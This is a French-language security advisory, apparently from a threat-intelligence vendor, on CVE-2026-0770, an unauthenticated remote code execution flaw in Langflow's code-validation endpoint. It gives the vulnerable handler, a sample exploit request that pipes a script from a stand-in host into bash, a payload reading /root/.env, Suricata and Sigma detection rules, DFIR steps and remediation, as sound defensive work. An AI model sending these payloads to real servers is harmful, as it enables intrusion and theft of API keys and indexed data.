CVE-2026-0770 : exécution de code à distance non authentifiée dans Langflow via l'échappement du bac à sable de validation de code
SCORE DE MENACE HERMES & COMPROMISSION DU MOTEUR D'ORCHESTRATION D'IA
Cible :Langflow (Interface & Orchestrateur LangChain) Le CVSS v3.1 attribue à la CVE-2026-0770 la note de 9.8 (Critique) et le CVSS v4.0 évalue l'impact à 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). La corrélation est directe : Langflow pilote les pipelines RAG (Retrieval-Augmented Generation) et se connecte directement aux coffres de connaissances et bases vectorielles (Chroma, Pinecone, Milvus). L'exécution de code à distance permet aux attaquants d'exfiltrer la propriété intellectuelle de l'entreprise et d'implanter des agents d'IA malveillants au cœur du système d'information.
CVE-2026-0770: Unauthenticated Remote Code Execution in Langflow via Code Validation Sandbox EscapeVULNÉRABILITÉ
Visual framework and multi-agent development environment for building, evaluating, and deploying conversational AI pipelines.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Langflow Visual AI Builder documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »Langflow permet aux ingénieurs et data scientists d’assembler des graphes visuels pour le traitement de requêtes, l’indexation vectorielle et le pilotage d’agents autonomes.
| Paramètre | Spécification Technique | Contexte de Menace |
|---|---|---|
| Identifiant CVE | CVE-2026-0770 | Référence internationale de suivi |
| Composant vulnérable | langflow (Service d’API Backend) | Point de terminaison /api/v1/validate/code |
| Vecteur réseau | HTTP/HTTPS (Port TCP 7860) | Interface web et API Langflow exposées |
| Cause racine | Bac à sable d’exécution Python exec() perméable (CWE-94) | Exécution de code à distance non authentifiée |
| Versions affectées | Langflow < 1.2.0 | Déploiements de production et de test |
| Versions corrigées | 1.2.0 | Version officielle avec exécution isolée |
| Impact d’exploitation | Accès shell sur l’hôte/conteneur, vol de bases vectorielles | Compromission de la chaîne d’orchestration d’IA |
2. Décomposition technique : échappement du bac à sable de validation
Section intitulée « 2. Décomposition technique : échappement du bac à sable de validation »A. La faille d’évaluation in-process
Section intitulée « A. La faille d’évaluation in-process »Pour vérifier la conformité du code d’un composant personnalisé avec l’API Langflow, le serveur reçoit le code Python et l’exécute directement pour inspecter les classes déclarées :
# Gestionnaire de validation vulnérable dans langflow/api/v1/validate.py@router.post("/api/v1/validate/code")async def validate_code(code_request: CodeRequest): code_str = code_request.code exec_globals = {"__builtins__": __builtins__} # FAILLE : Exposition intégrale des builtins ! exec_locals = {}
try: # Exécute le code arbitraire directement dans le processus serveur exec(code_str, exec_globals, exec_locals) return {"valid": True, "imports": list(exec_locals.keys())} except Exception as e: return {"valid": False, "error": str(e)}Comme __builtins__ est accessible sans restriction, un attaquant injecte des appels à __import__('os').system() :
POST /api/v1/validate/code HTTP/1.1Host: langflow.corp.internal:7860Content-Type: application/json
{ "code": "import os; os.system('curl http://198.51.100.44/shell.sh | bash')"}+----------------------------------------------------------------------------------------------------+| GRAPHE D'EXÉCUTION DE L'ATTAQUE CVE-2026-0770 |+----------------------------------------------------------------------------------------------------+
[Attaquant Distant] │ │ [1] HTTP POST /api/v1/validate/code (Sans jeton d'authentification) │ Charge : { "code": "import subprocess; subprocess.Popen(['cat', '/root/.env'])" } ▼ [Serveur Backend FastAPI Langflow (Port 7860)] │ ├───► 1. Traitement du Point de Terminaison : │ - La route /api/v1/validate/code est dépourvue de dépendance d'authentification │ - Extrait le code Python du corps de la requête JSON │ ├───► 2. Exécution Non Sécurisée au Sein du Processus : │ - Transmet la chaîne de code à exec(code_str, exec_globals) │ - Aucune isolation de conteneur ni bac à sable strict │ ▼ [Exécution dans le Processus Serveur (Runtime Python)] │ └───► Création de processus système en arrière-plan : - Exfiltration des clés d'API et identifiants LangChain - Connexion directe aux bases vectorielles (Chroma, Pinecone, Weaviate) - Téléchargement des documents sensibles indexés pour le RAG+----------------------------------------------------------------------------------------------------+3. Renseignement sur les menaces & exploitation dans la nature
Section intitulée « 3. Renseignement sur les menaces & exploitation dans la nature »- Exposition réseau : des milliers d’instances Langflow non sécurisées sont accessibles sur Internet sur le port
7860à travers AWS, GCP et les hébergeurs cloud. - Vecteurs d’exploitation observés :
- Balayage automatisé ciblant
/api/v1/validate/codepour ouvrir des shells distants. - Lecture des variables d’environnement locales pour dérober les clés OpenAI, Anthropic, HuggingFace et les accès aux compartiments de stockage d’objets.
- Pillage des index de documents d’entreprise enregistrés dans les bases vectorielles.
- Balayage automatisé ciblant
4. Cartographie MITRE ATT&CK
Section intitulée « 4. Cartographie MITRE ATT&CK »| Tactique | ID Technique | Nom de la Technique | Manifestation dans l’Attaque |
|---|---|---|---|
| Accès initial | T1190 | Exploitation d’application publique | Requête HTTP POST distante vers le point non authentifié /validate/code |
| Exécution | T1059.006 | Interpréteur de commandes et scripts : Python | Injection de code exécutée directement via exec() |
| Accès aux identifiants | T1552.001 | Identifiants dans les fichiers | Lecture des fichiers .env contenant les clés d’IA générative |
| Collecte | T1005 | Données issues du système local | Exfiltration des documents d’entreprise indexés pour le RAG |
5. Ingénierie de détection & télémétrie
Section intitulée « 5. Ingénierie de détection & télémétrie »A. Règle Suricata
Section intitulée « A. Règle Suricata »alert http any any -> $LANGFLOW_SERVERS 7860 ( msg:"HERMES DEFENSE - Tentative de RCE non authentifiee Langflow (CVE-2026-0770)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/v1/validate/code"; http.request_body; pcre:"/(\"code\"\s*:\s*\"|')\s*(import\s+(os|subprocess|sys|shutil)|__import__|eval|exec)/i"; classtype:web-application-attack; sid:20260770; rev:1; reference:cve,2026-0770;)B. Règle Sigma
Section intitulée « B. Règle Sigma »title: Exécution suspecte de commandes par le processus Langflowid: 6a5b4c3d-2e1f-0a9b-8c7d-0770c026e02status: highdescription: Détecte l'ouverture d'un interpréteur shell ou d'utilitaires réseau issus du processus Python exécutant Langflow.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: linux category: process_creationdetection: selection_parent: CommandLine|contains: 'langflow' selection_child: Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/curl' - '/usr/bin/wget' - '/usr/bin/nc' condition: selection_parent and selection_childfalsepositives: - Outils de diagnostic exécutés manuellement par les équipes de développement.level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.0066. Réponse à incident & rétro-ingénierie (DFIR)
Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »Procédure de diagnostic :
Section intitulée « Procédure de diagnostic : »- Contrôle des processus associés à Langflow :
Fenêtre de terminal ps aux | grep langflowlsof -p $(pgrep -f langflow) -i - Revue des journaux web Langflow :
- Analyser les requêtes
POST /api/v1/validate/coderetournant des codes200 OK.
- Analyser les requêtes
- Audit du trafic vers les bases vectorielles :
- Inspecter les connexions réseau sortantes vers les bases de données de vecteurs (Chroma
8000, Milvus19530, Weaviate8080).
- Inspecter les connexions réseau sortantes vers les bases de données de vecteurs (Chroma
Requête de chasse (Elasticsearch / OpenSearch) :
Section intitulée « Requête de chasse (Elasticsearch / OpenSearch) : »{ "query": { "bool": { "must": [ { "term": { "http.request.method": "POST" } }, { "term": { "url.path": "/api/v1/validate/code" } }, { "wildcard": { "http.request.body.content": "*subprocess*" } } ] } }}7. Mesures de remédiation & durcissement
Section intitulée « 7. Mesures de remédiation & durcissement »- Mettre à niveau Langflow immédiatement : installer la version 1.2.0 ou ultérieure qui isole l’analyse du code au sein de conteneurs de bac à sable dédiés.
- Activer l’authentification obligatoire : définir la variable
LANGFLOW_AUTO_LOGIN=Falseet imposer des mots de passe robustes sur tous les accès. - Protection du périmètre réseau : ne jamais exposer le port
7860directement sur Internet ; isoler Langflow dans un réseau privé virtuel (VPN). - Renouvellement des clés d’API : en cas de compromission, renouveler l’intégralité des clés des fournisseurs de modèles de langage et des bases de données vectorielles configurées dans Langflow.